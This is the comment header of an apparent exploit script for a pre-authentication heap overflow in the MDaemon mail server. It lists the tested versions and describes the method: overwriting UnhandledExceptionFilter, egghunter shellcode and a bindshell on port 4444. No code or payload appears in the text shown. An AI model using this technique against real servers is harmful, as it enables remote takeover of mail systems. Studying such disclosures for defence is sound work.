# MDaemon Pre Authentication (USER) Heap Overflow 
# Code based on Leon Juranic's exploit
# Coded by muts - [email protected]
# http://www.hackingdefined.com
# http://www.remote-exploit.org
# Tested on:
# 	Mdaemon 9.0.5
# 	Mdaemon 7.2.3
# 	Mdaemon 7.2.2
# 	Mdaemon 7.2.1
# 	Mdaemon 7.2.0
#		Possibly Others
#		PLEASE CONTINUE READING !
# Huge greets to xbxice and talz for leading me away from the darkness

# Mdaemon is wierd. It seems like their developers decided to annoy everyone
# by making their software do unexpected things.
# The exploit overwrites UnhandledExceptionFilter, and jumps to an egghunter
# shellcode - which then scans the memory, and executes a bindshell on port 4444.
# 
# On some Win2k SP4 machines, I found SetUnhandledExceptionFilter at 0x00000214,
# for which I unfortunately had no explenation. 
# I later found out that these machines were fully patched ...
# After inspecting kernel32.dll from my SP4 (not fully patched) and comparing it to 
# todays' version, I noticed that the SetunhandledExceptionFilter function had changed, 
# and looks suspiciously similar to XP SP2... 
# Note that my unpatched win2k was last patched 2-3 weeks ago, 
# so I suspect this change is recent.
# The end of easy UnhandledExceptionFilter exploitation on Win2k ?
#
# So, this is a partially working exploit, on unpatched win2k boxes....
# Kiddies, treat this exploit as DOS :)
#
# I got 3 types of results with this code:
#
# 1. Shell :)	
# 2. Mdaemon process shoots up to 100%, scanning memory for shellcode that isn't there.
# 3. Plain ugly crash - oh well.
#
# At minimum, I'de check the UnhandledExceptionFilter address before running the exploit.
